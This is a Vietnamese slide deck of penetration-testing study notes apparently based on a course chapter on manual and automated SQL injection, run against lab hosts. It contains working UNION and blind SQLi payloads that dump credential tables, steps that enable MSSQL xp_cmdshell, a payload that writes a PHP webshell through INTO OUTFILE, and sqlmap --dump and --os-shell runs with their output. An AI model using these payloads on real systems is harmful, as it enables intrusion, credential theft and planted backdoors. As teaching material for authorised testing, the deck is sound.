Quay lại enumerationNếu error không ổn định hoặc output bị che, quay lại quan sát request/response và thử kỹ thuật khác.
10.2.1 Error-based PayloadsTài Liệu Học Tập PWK

Notes cho một finding SQLi

Endpoint, HTTP method và parameter.
Baseline request/response.
Payload chính xác, gồm whitespace/comment.
Query dự đoán sau injection.
DBMS/version nếu xác minh được.
Tác động: bypass, read data hay error disclosure.
Bằng chứng tối thiểu, không thu thập quá mức.
Remediation: parameterized query và error handling.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

UNION-based Payloads

10.2.2

UNION-based Payloads

Kết hợp SELECT bổ sung với query gốc để đưa dữ liệu database vào cùng response của ứng dụng.

10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

UNION giúp làm gì?

  • UNION nối kết quả của hai câu SELECT thành một result set.
  • Trong SQLi in-band, dữ liệu từ query chèn thêm có thể xuất hiện trong bảng hoặc giao diện hiện có.
  • Kỹ thuật này cần hiểu cấu trúc query gốc và vị trí các cột được render.
  • Không phải mọi cột đều hiển thị; một số có thể bị ứng dụng bỏ qua.
Mục tiêuTìm cột có thể hiển thị chuỗi và dùng chúng để enumeration có kiểm soát.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Hai điều kiện bắt buộc

1

Cùng số cột

SELECT chèn thêm phải trả đúng số cột như query gốc.

2

Kiểu dữ liệu tương thích

Giá trị tại từng vị trí cột phải tương thích với query gốc.

Sai lầm phổ biếnĐếm cột theo giao diện là chưa đủ vì ứng dụng có thể không render tất cả cột.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Query tìm kiếm dễ tổn thương

Listing 19 - Vulnerable SQL Query
$query = "SELECT * from customers WHERE name LIKE '".$_POST["search_input"]."%'";
Cách đọcInput search_input được nối vào LIKE pattern và theo sau bởi ký tự %.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Vai trò của LIKE và %

  • LIKE so khớp chuỗi theo pattern.
  • Ký tự % đại diện cho 0 hoặc nhiều ký tự.
  • Ứng dụng tìm customer có name bắt đầu bằng input.
  • Payload phải đóng quote của pattern trước khi thêm UNION hoặc ORDER BY.
Giả thuyếtCần xác định chính xác phần query còn lại sau input để comment đúng.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Customer Search Portal

Figure 9: Loading the Customer Search Portal
  • Nhấn SEARCH không có input để xem dữ liệu baseline.
  • Giao diện có thể hiển thị bốn trường nhưng table gốc có thể nhiều cột hơn.
  • Ghi lại vị trí cột nào được render.
Figure 9: Loading the Customer Search Portal
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Tìm số cột bằng ORDER BY

01ORDER BY 1Kiểm tra cột thứ nhất tồn tại.
02Tăng dầnThử 2, 3, 4...
03Quan sát lỗiLỗi xuất hiện khi số thứ tự vượt số cột.
04Suy ra countGiá trị thành công lớn nhất là số cột.
05Dùng cho UNIONTạo SELECT đúng số vị trí.
Một biến mỗi lầnChỉ thay số thứ tự để response dễ so sánh.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Payload ORDER BY đầu tiên

Listing 20 - Verifying the exact number of columns
' ORDER BY 1-- //
Cách đọcTăng số cột từng bước; trong lab ORDER BY 6 lỗi nên query có 5 cột.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Xác định chính xác 5 cột

Figure 10: Finding the Exact Number of Columns
  • ORDER BY tăng dần cho tới khi response lỗi.
  • Không dựa vào số trường nhìn thấy trên trang.
  • Kết quả chuẩn bị cho UNION SELECT năm giá trị.
Figure 10: Finding the Exact Number of Columns
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Lập kế hoạch UNION đầu tiên

Vị tríGiá trị thửMục đích
1database()Tên database hiện tại.
2user()Database user.
3@@versionVersion MySQL.
4nullGiữ số cột và tránh type mismatch.
5nullGiữ số cột và tránh type mismatch.
Vì sao dùng NULLNULL thường tương thích với nhiều kiểu dữ liệu và hữu ích khi dò vị trí cột.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

UNION enumeration lần đầu

Listing 21 - Enumerating the Database via SQL UNION Injection
%' UNION SELECT database(), user(), @@version, null, null -- //
Cách đọcPayload yêu cầu database, user và version ở ba cột đầu; hai cột còn lại là NULL.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Một giá trị không xuất hiện

Figure 11: Enumerating the Database
  • Username và version xuất hiện ở dòng cuối.
  • Tên database ở cột đầu không được hiển thị.
  • Cột đầu có thể là ID kiểu integer hoặc bị frontend bỏ qua.
Figure 11: Enumerating the Database
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Vì sao cột đầu thất bại?

  • Query gốc thường dùng cột 1 cho ID kiểu integer.
  • Chuỗi trả về từ database() có thể không tương thích.
  • Ứng dụng cũng có thể cố ý không render ID vì không hữu ích cho người dùng.
  • Giải pháp là chuyển các function sang cột khác và dùng NULL ở vị trí không phù hợp.
Cách đọc kết quảUNION thành công một phần vẫn cung cấp thông tin về type và render position.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Dịch các giá trị sang cột phù hợp

Listing 22 - Fixing the Injected UNION Query
' UNION SELECT null, null, database(), user(), @@version  -- //
Cách đọcHai cột đầu đặt NULL; database(), user() và @@version được chuyển sang các cột bên phải.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Ba giá trị được trả về đầy đủ

Figure 12: Fixing the SQL Query
  • Database hiện tại là offsec.
  • User và version cũng hiển thị đúng.
  • Các vị trí cột render chuỗi đã được xác định.
Figure 12: Fixing the SQL Query
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Enumeration information_schema

  • information_schema.columns chứa metadata về table và column.
  • Lọc table_schema=database() để chỉ xem schema hiện tại.
  • Đưa table_name, column_nametable_schema vào các cột hiển thị.
  • Mục tiêu là tìm table/column ứng dụng trước khi truy vấn dữ liệu.
Phương phápMetadata trước, dữ liệu sau. Không đoán tên table nếu có thể enumeration.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Liệt kê table và column của database hiện tại

Listing 23 - Retrieving Current Database Tables and Columns
' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //
Cách đọcQuery lấy table_name, column_name và table_schema từ information_schema.columns.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Cấu trúc database được dump

Figure 13: Dumping the Current Database Tables Structure
  • Output xác nhận vị trí ba trường metadata.
  • Table users được phát hiện.
  • Các column gồm username, password và description.
Figure 13: Dumping the Current Database Tables Structure
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Từ metadata đến dữ liệu

01Current DBXác định database().
02MetadataLiệt kê table/column qua information_schema.
03Target tableChọn users.
04Target columnsusername, password, description.
05Minimal proofLấy số bản ghi cần để chứng minh impact.
Không bỏ qua schemaTên table giống nhau có thể tồn tại ở nhiều schema/database.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Dump dữ liệu table users

Listing 24 - Retrieving Current Database Tables and Columns
' UNION SELECT null, username, password, description, null FROM users -- //
Cách đọcBa cột dữ liệu được đặt vào các vị trí đã xác minh có thể render chuỗi.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Usernames và MD5 hashes được hiển thị

Figure 14: Dumping Users Credentials
  • UNION payload trả về toàn bộ rows của table users.
  • Có tài khoản administrative trong dữ liệu.
  • Hash MD5 không phải plain-text nhưng vẫn là dữ liệu xác thực nhạy cảm.
Figure 14: Dumping Users Credentials
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Workflow UNION-based SQLi

01BaselineXem query/response hợp lệ.
02Column countORDER BY hoặc kỹ thuật tương đương.
03Render positionsUNION với NULL và giá trị thử.
04Fingerprintdatabase(), user(), version.
05Metadatainformation_schema.
06Targeted dataChỉ lấy dữ liệu cần chứng minh.
Dấu hiệu dừngNếu số cột hoặc type không ổn định, quay lại query context thay vì thêm payload ngẫu nhiên.
10.2.2 UNION-based PayloadsTài Liệu Học Tập PWK

Lỗi thường gặp với UNION

LỗiBiểu hiệnCách xử lý
Sai số cộtDatabase error hoặc response trắng.Dò count bằng ORDER BY.
Type mismatchMột số vị trí không hiện hoặc query lỗi.Dùng NULL và chuyển chuỗi sang cột khác.
Cột không renderQuery chạy nhưng giá trị không thấy.Thử từng vị trí hiển thị.
Comment saiPhần query sau payload gây syntax error.Kiểm tra DBMS và whitespace.
Đoán tableMất thời gian hoặc bỏ sót.Dùng information_schema.
10.2.3 Blind SQL InjectionsTài Liệu Học Tập PWK

Blind SQL Injections

10.2.3

Blind SQL Injections

Khi database output không được trả trực tiếp, suy luận kết quả qua logic boolean hoặc thời gian phản hồi.

10.2.3 Blind SQL InjectionsTài Liệu Học Tập PWK

In-band và blind SQLi

Đặc điểmIn-bandBlind
Database outputXuất hiện trực tiếp hoặc qua error.Không xuất hiện trực tiếp.
Kênh suy luậnNội dung response.Behavior của ứng dụng hoặc thời gian.
Kỹ thuậtError-based, UNION-based.Boolean-based, time-based.
Tốc độThường nhanh hơn.Có thể rất chậm.
AutomationHữu ích nhưng chưa bắt buộc.Thường cần công cụ khi enumeration sâu.
Điểm cần nhớBoolean-based vẫn là blind vì tín hiệu đến từ ứng dụng, không phải output database.
10.2.3 Blind SQL InjectionsTài Liệu Học Tập PWK

Boolean-based blind SQLi

  • Chèn điều kiện TRUE hoặc FALSE vào query.
  • Ứng dụng trả hai phản hồi dự đoán được tương ứng với kết quả.
  • Tín hiệu có thể là nội dung, status, độ dài hoặc một phần giao diện.
  • Có thể xây từng câu hỏi yes/no để enumeration dữ liệu.
Baseline bắt buộcCần ghi rõ response TRUE và FALSE trước khi suy luận dữ liệu.
10.2.3 Blind SQL InjectionsTài Liệu Học Tập PWK

Time-based blind SQLi

  • Database được yêu cầu chờ một khoảng thời gian nếu điều kiện đúng.
  • Người kiểm thử suy luận TRUE/FALSE dựa trên latency.
  • Network jitter và server load có thể tạo false conclusion.
  • Nên lặp lại nhiều lần và dùng threshold hợp lý.
Cảnh báoTime-based chậm và tạo nhiều request; tránh dùng ngay nếu có kênh nhanh hơn.
10.2.3 Blind SQL InjectionsTài Liệu Học Tập PWK

Ứng dụng blind SQLi trong lab

Figure 15: Testing for Blind SQLi
  • Endpoint nhận parameter user trên URL.
  • Trang hiển thị Username, Password Hash và Description cho user hiện tại.
  • Parameter mặc định là offsec sau khi đăng nhập.
Figure 15: Testing for Blind SQLi
10.2.3 Blind SQL InjectionsTài Liệu Học Tập PWK

Quan sát parameter user

  • URL có dạng blindsqli.php?user=offsec.
  • Backend dùng parameter để query record người dùng.
  • Đây là vị trí input cần thử điều kiện boolean.
  • Giữ session/cookie hợp lệ vì endpoint yêu cầu đăng nhập.
NotesGhi cả authentication state và cookie requirement khi tái hiện finding.
10.2.3 Blind SQL InjectionsTài Liệu Học Tập PWK

Boolean condition luôn đúng

Listing 25 - Testing for boolean-based SQLi
http://192.168.50.16/blindsqli.php?user=offsec
' AND 1=1 -- //
Cách đọcAND 1=1 giữ điều kiện TRUE; ứng dụng trả dữ liệu nếu user tồn tại.
10.2.3 Blind SQL InjectionsTài Liệu Học Tập PWK

Cách suy luận boolean

01TRUE payloadResponse chứa dữ liệu dự kiến.
02FALSE payloadResponse phải khác một cách ổn định.
03Đặt câu hỏiVí dụ user/table/value có tồn tại không.
04So sánhStatus, length, body hoặc marker.
05Lặp lạiXác nhận tránh false positive.
Không dùng một responseSự khác biệt cần lặp lại và ổn định trước khi kết luận.
10.2.3 Blind SQL InjectionsTài Liệu Học Tập PWK

Time-based condition

Listing 26 - Testing for time-based SQLi
http://192.168.50.16/blindsqli.php?user=offsec
' AND IF (1=1, sleep(3),'false') -- //
Cách đọcIF condition đúng sẽ gọi sleep(3); nếu user không tồn tại hoặc điều kiện sai, không có delay.
10.2.3 Blind SQL InjectionsTài Liệu Học Tập PWK

Cách đọc time-based payload

IF

IF (1=1, ... )

Điều kiện trong payload luôn đúng.

SLEEP

sleep(3)

Yêu cầu database trì hoãn ba giây.

FALSE

'false'

Nhánh khác khi điều kiện không đúng.

OBS

Response time

Delay cho biết query đã thực thi theo nhánh TRUE.

Độ tin cậySo sánh nhiều mẫu và tính đến latency nền của ứng dụng.
10.2.3 Blind SQL InjectionsTài Liệu Học Tập PWK

Khi nào nên dùng sqlmap?

  • Đã xác minh thủ công parameter có dấu hiệu SQLi.
  • Blind enumeration thủ công trở nên quá chậm hoặc lặp lại.
  • Phạm vi cho phép traffic tự động và độ ồn của công cụ.
  • Đã lưu baseline, payload và session/cookie để kiểm soát tool.
Không dùng làm bước đầuTài liệu nhấn mạnh hiểu cơ chế thủ công trước khi tự động hóa.
10.2 Manual SQL ExploitationTài Liệu Học Tập PWK

Bài thực hành của Learning Unit

LAB1

Authentication bypass

Tái hiện payload và xác định biến PHP chứa input.

LAB2

UNION-based

Đáp ứng số cột và data type compatibility.

LAB3

Blind SQLi

Tái hiện boolean/time-based và xác định kênh suy luận.

Không có đáp ánKhông cung cấp flag hoặc câu trả lời bài lab trong bộ slide.
10.3 Manual and Automated Code ExecutionTài Liệu Học Tập PWK

Manual and Automated Code Execution

Learning Unit 10.3

Manual and Automated Code Execution

Từ SQL injection đến thực thi lệnh: MSSQL xp_cmdshell, MySQL INTO OUTFILE và tự động hóa bằng sqlmap.

10.3 Manual and Automated Code ExecutionTài Liệu Học Tập PWK

Mục tiêu học tập

  • Hiểu điều kiện để SQLi dẫn đến đọc/ghi file hoặc code execution.
  • Bật và sử dụng xp_cmdshell trên MSSQL trong lab.
  • Ghi PHP webshell bằng SELECT ... INTO OUTFILE trên MySQL.
  • Dùng sqlmap để tìm injection point, dump dữ liệu và tạo OS shell.
  • Nhận diện giới hạn về quyền, filesystem, latency và stealth.
Không mặc định RCESQLi không tự động đồng nghĩa với command execution; cần đúng DBMS, quyền và môi trường.
10.3 Manual and Automated Code ExecutionTài Liệu Học Tập PWK

Điều kiện để đi từ SQLi đến RCE

Điều kiệnMSSQLMySQL trong chương
Database capabilityxp_cmdshell có thể gọi command shell.Không có một hàm đơn tương đương trong ví dụ.
ConfigurationFeature phải được bật.Dùng INTO OUTFILE.
PrivilegesDatabase user phải có quyền cấu hình/thực thi.Database service user phải có quyền ghi.
FilesystemKhông phải điều kiện chính của whoami.Cần biết web root writable.
Application pathKhông bắt buộc để chạy command.Cần URL truy cập file webshell.
Enumeration trước exploitationXác định DBMS, user, quyền và web root trước khi thử code execution.
10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

Manual Code Execution

10.3.1

Manual Code Execution

Điều chỉnh chiến lược theo DBMS: xp_cmdshell trên MSSQL và file write/webshell trên MySQL.

10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

xp_cmdshell hoạt động thế nào?

  • xp_cmdshell nhận một string và chuyển cho Windows command shell.
  • Output của command được trả về dưới dạng các dòng text.
  • Feature bị tắt mặc định.
  • Sau khi bật, gọi bằng EXECUTE thay vì SELECT.
  • Database account phải có quyền cấu hình và thực thi.
Môi trường labTài liệu sử dụng Administrator đã có quyền thích hợp.
10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

Bật show advanced options và xp_cmdshell

Listing 27 - Enabling xp_cmdshell feature
kali@kali:~$ 
impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth

Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
...
SQL> 
EXECUTE sp_configure 'show advanced options', 1;

[*] INFO(SQL01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> 
RECONFIGURE;

SQL> 
EXECUTE sp_configure 'xp_cmdshell', 1;

[*] INFO(SQL01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> 
RECONFIGURE;
Cách đọcBật advanced options, RECONFIGURE, bật xp_cmdshell rồi RECONFIGURE lần nữa.
10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

Trình tự cấu hình xp_cmdshell

01show advanced optionsĐặt giá trị 1.
02RECONFIGUREÁp dụng thay đổi.
03xp_cmdshellĐặt giá trị 1.
04RECONFIGUREÁp dụng feature.
05EXECUTEChạy command qua xp_cmdshell.
Lỗi thường gặpBật option nhưng quên RECONFIGURE nên feature chưa có hiệu lực.
10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

Thực thi whoami qua xp_cmdshell

Listing 28 - Executing Commands via xp_cmdshell
SQL> 
EXECUTE xp_cmdshell 'whoami';

output

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


nt service\mssql$sqlexpress


NULL
Cách đọcOutput cho thấy command chạy dưới account dịch vụ nt service\mssql$sqlexpress.
10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

Đọc security context của xp_cmdshell

  • Command không chạy dưới user tương tác trên Kali.
  • Output cho biết process sử dụng service identity của SQL Server.
  • Quyền hệ điều hành của service account quyết định tác động thực tế.
  • Tên account có quyền thấp vẫn có thể truy cập file/network tùy cấu hình.
Báo cáoGhi chính xác execution identity và bằng chứng, không mô tả chung chung là SYSTEM nếu output không cho thấy vậy.
10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

MySQL: từ query đến file write

  • Các MySQL variant trong chương không cung cấp một hàm RCE đơn tương tự xp_cmdshell.
  • SELECT ... INTO OUTFILE có thể ghi nội dung query ra file.
  • Đường dẫn đích phải writable với OS user chạy database service.
  • Nếu ghi vào web root, file PHP có thể được web server thực thi.
Điều kiện quan trọngSai web root hoặc thiếu quyền ghi sẽ làm chuỗi khai thác thất bại.
10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

Thiết kế payload webshell

01UNION SELECTChèn một row do người kiểm thử kiểm soát.
02PHP contentĐặt PHP code ở một cột.
03NULL columnsKhớp số cột query gốc.
04INTO OUTFILEGhi ra file trong web root writable.
05HTTP requestGọi webshell qua URL với parameter cmd.
Tối thiểu hóaDùng command an toàn như id/whoami để chứng minh trong lab.
10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

Ghi webshell bằng INTO OUTFILE

Listing 29 - Write a WebShell To Disk via INTO OUTFILE directive
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
Cách đọcPayload ghi webshell.php vào /var/www/html/tmp/ và giữ đủ năm cột của UNION.
10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

Nội dung PHP webshell

Listing 30 - PHP reverse shell
<? system($_REQUEST['cmd']); ?>
Cách đọcsystem() thực thi giá trị nhận từ parameter cmd trong HTTP request.
10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

Payload ghi webshell được gửi

Figure 16: Writing the WebShell to Disk
  • Ứng dụng có thể báo lỗi do return type không phù hợp.
  • Lỗi response không nhất thiết có nghĩa thao tác ghi file thất bại.
  • Cần xác minh file tồn tại qua request riêng.
Figure 16: Writing the WebShell to Disk
10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

Không nhầm error với thất bại hoàn toàn

  • UNION query có thể gặp lỗi khi render result nhưng INTO OUTFILE đã được xử lý.
  • Đánh giá chỉ dựa trên thông báo ứng dụng có thể tạo false negative.
  • Xác minh độc lập bằng cách truy cập URL file hoặc kiểm tra filesystem nếu có quyền.
  • Không gửi lại payload ghi file nhiều lần vì file tồn tại có thể gây lỗi khác.
Quy trìnhTách bước write và bước execute thành hai bằng chứng riêng.
10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

Truy cập webshell và chạy id

Figure 17: Accessing the Webshell
  • URL gọi file trong thư mục tmp.
  • Parameter cmd chứa lệnh id.
  • Output cho thấy execution identity là www-data.
Figure 17: Accessing the Webshell
Điểm cần nhớBằng chứng RCE cần gồm URL/request, command an toàn và output identity.
10.3.1 Manual Code ExecutionTài Liệu Học Tập PWK

Checklist manual code execution

Fingerprint DBMS chính xác.
Xác định database user và quyền.
MSSQL: advanced options và xp_cmdshell.
MySQL: writable directory và web root.
Khớp số cột/type cho UNION.
Dùng command chứng minh ít tác động.
Ghi execution identity.
Dọn file/persistence theo Rules of Engagement.
Dừng đúng lúcKhi đã chứng minh impact, không mở rộng thêm nếu không cần cho mục tiêu đánh giá.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

Automating the Attack

10.3.2

Automating the Attack

Dùng sqlmap để xác minh injection point, dump dữ liệu và tạo OS shell từ URL hoặc raw HTTP request.

10.3.2 Automating the AttackTài Liệu Học Tập PWK

sqlmap làm được gì?

ID

Identify

Thử nhiều kỹ thuật SQLi và fingerprint backend DBMS.

DB

Enumerate

Liệt kê/dump database, table và records.

FP

Fingerprint

Nhận diện OS, web stack và database.

OS

OS Shell

Tận dụng file write hoặc DBMS capability để tạo shell.

Trade-offTự động hóa mạnh nhưng tạo lượng traffic lớn và gần như không stealth.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

Lệnh sqlmap đầu tiên

Tùy chọnGiá trịÝ nghĩa
-uURL đầy đủTarget URL cần kiểm thử.
-puserChỉ định parameter cần test.
Giá trị parameter1Dummy value để tạo request.
Prompt tương tácDefaultTheo tài liệu chọn các giá trị mặc định.
Chuẩn bịSession/cookie và redirect có thể cần được chấp nhận hoặc cung cấp cho tool.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

sqlmap tìm time-based blind SQLi

Listing 31 - Running sqlmap to quickly find SQL injection points
kali@kali:~$ 
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user

        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.6.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

...
[*] starting @ 02:14:54 PM /2022-05-16/

[14:14:54] [INFO] resuming back-end DBMS 'mysql'
[14:14:54] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.50.16:80/login1.php?msg=2'. Do you want to follow? [Y/n]
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=fbf1f5fa5fc...a7266cba36'). Do you want to use those [Y/n]
sqlmap resumed the following injection point(s) from stored session:
---

Parameter: user (GET)
    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user=1' AND (SELECT 1582 FROM (SELECT(SLEEP(5)))dTzB) AND 'hiPB'='hiPB
---
[14:14:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP, PHP 7.3.33, Apache 2.4.52
back-end DBMS: MySQL >= 5.0.12
[14:14:57] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.50.16'

[*] ending @ 02:14:57 PM /2022-05-16/
Cách đọcTool xác nhận parameter user, payload SLEEP, MySQL backend, Linux/Apache/PHP stack và đường dẫn lưu output.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

Cách đọc output sqlmap

  • Tool gặp redirect tới trang login và hỏi có follow hay không.
  • Server muốn đặt PHPSESSID; session state ảnh hưởng khả năng kiểm thử.
  • Injection point được xác định là parameter user trong GET.
  • Type là time-based blind với payload dùng SLEEP.
  • Fingerprint gồm OS web server, web technology và backend DBMS.
Xác minh thủ côngKhông chỉ tin tool; đối chiếu payload và behavior đã kiểm tra ở Learning Unit trước.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

Độ ồn và stealth

  • sqlmap có thể gửi lượng request lớn.
  • Traffic dễ bị WAF, IDS hoặc application logging phát hiện.
  • Không dùng làm lựa chọn đầu tiên khi assignment yêu cầu low-profile.
  • Giới hạn kỹ thuật, level/risk và parameter theo phạm vi để giảm traffic.
Tài liệu gốcChương nhấn mạnh sqlmap cung cấp “next-to-zero stealth”.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

Dump database bằng --dump

Listing 32 - Running sqlmap to Dump Users Credentials Table
kali@kali:~$ 
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump

...

[*] starting @ 02:23:49 PM /2022-05-16/

[14:23:49] [INFO] resuming back-end DBMS 'mysql'
[14:23:49] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.50.16:80/login1.php?msg=2'. Do you want to follow? [Y/n]
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=b7c9c962b85...c6c7205dd1'). Do you want to use those [Y/n]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: user (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user=1' AND (SELECT 1582 FROM (SELECT(SLEEP(5)))dTzB) AND 'hiPB'='hiPB
---
[14:23:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP, Apache 2.4.52, PHP 7.3.33
back-end DBMS: MySQL >= 5.0.12
[14:23:52] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[14:23:52] [INFO] fetching current database
[02:23:52 PM] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[14:25:26] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[14:25:26] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)

[14:25:47] [INFO] adjusting time delay to 2 seconds due to good response times
offsec
[14:27:01] [INFO] fetching tables for database: 'offsec'
[14:27:01] [INFO] fetching number of tables for database 'offsec'


[02:27:01 PM] [INFO] retrieved: 2
[02:27:11 PM] [INFO] retrieved: customers
[02:29:25 PM] [INFO] retrieved: users
[14:30:38] [INFO] fetching columns for table 'users' in database 'offsec'
[02:30:38 PM] [INFO] retrieved: 4
[02:30:44 PM] [INFO] retrieved: id
[02:31:14 PM] [INFO] retrieved: username
[02:33:02 PM] [INFO] retrieved: password
[02:35:09 PM] [INFO] retrieved: description
[14:37:56] [INFO] fetching entries for table 'users' in database 'offsec'
[14:37:56] [INFO] fetching number of entries for table 'users' in database 'offsec'
[02:37:56 PM] [INFO] retrieved: 4
[02:38:02 PM] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[14:38:24] [INFO] adjusting time delay to 1 second due to good response times
this is the admin
[02:40:54 PM] [INFO] retrieved: 1
[02:41:02 PM] [INFO] retrieved: 21232f297a57a5a743894a0e4a801fc3
[02:46:34 PM] [INFO] retrieved: admin
[02:47:15 PM] [INFO] retrieved: try harder
[02:48:44 PM] [INFO] retrieved: 2
[02:48:54 PM] [INFO] retrieved: f9664ea1803311b35f


...
Cách đọcVới time-based blind SQLi, việc lấy toàn bộ table chậm nhưng cuối cùng trả về hashed credentials.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

Vì sao blind dump chậm?

  • Mỗi bit/ký tự có thể cần nhiều câu hỏi TRUE/FALSE hoặc nhiều delay.
  • SLEEP trong payload làm tăng thời gian cho từng request.
  • Retry, jitter và session handling kéo dài quá trình.
  • Chỉ dump database/table cần thiết thay vì toàn bộ nếu mục tiêu là chứng minh finding.
Tối ưu phạm viƯu tiên enumeration có mục tiêu để giảm tác động và thời gian.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

Tại sao dùng raw POST request?

  • UNION-based example dùng endpoint POST và cần cookie/session.
  • Burp có thể chặn request hoàn chỉnh gồm headers, body và parameter.
  • Lưu request vào file giúp sqlmap tái tạo đúng ngữ cảnh ứng dụng.
  • Tool có thể được chỉ định parameter cụ thể bằng -p.
Bảo vệ dữ liệuFile request có thể chứa cookie và credential; lưu trữ như dữ liệu nhạy cảm.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

Raw POST request lưu từ Burp

Listing 33 - Intercepting the POST request with Burp
POST 
/search.php
 HTTP/1.1
Host: 192.168.50.19
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://192.168.50.19
Connection: close
Referer: http://192.168.50.19/search.php
Cookie: PHPSESSID=vchu1sfs34oosl52l7pb1kag7d
Upgrade-Insecure-Requests: 1


item=test
Cách đọcBody chứa parameter item=test và request mang PHPSESSID cần thiết cho session.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

Xây lệnh os-shell từ request

Tùy chọnGiá trị trong tài liệuVai trò
-rpost.txtĐọc raw HTTP request.
-pitemParameter bị SQLi.
--os-shellBậtYêu cầu interactive OS shell.
--web-root/var/www/html/tmpThư mục web writable đã xác minh.
Điều kiệnNếu web root không đúng hoặc không writable, os-shell có thể thất bại.
10.3.2 Automating the AttackTài Liệu Học Tập PWK

sqlmap tạo os-shell

Listing 34 - Running sqlmap with os-shell
kali@kali:~$ 
sqlmap -r post.txt -p item  --os-shell  --web-root "/var/www/html/tmp"

...
[*] starting @ 02:20:47 PM /2022-05-19/

[14:20:47] [INFO] parsing HTTP request from 'post'
[14:20:47] [INFO] resuming back-end DBMS 'mysql'
[14:20:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: item (POST)
...
---
[14:20:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52
back-end DBMS: MySQL >= 5.6
[14:20:48] [INFO] going to use a web backdoor for command prompt
[14:20:48] [INFO] fingerprinting the back-end DBMS operating system
[14:20:48] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
>
 4

[14:20:49] [INFO] using '/var/www/html/tmp' as web server document root
[14:20:49] [INFO] retrieved web server absolute paths: '/var/www/html/search.php'
[14:20:49] [INFO] trying to upload the file stager on '/var/www/html/tmp/' via LIMIT 'LINES TERMINATED BY' method
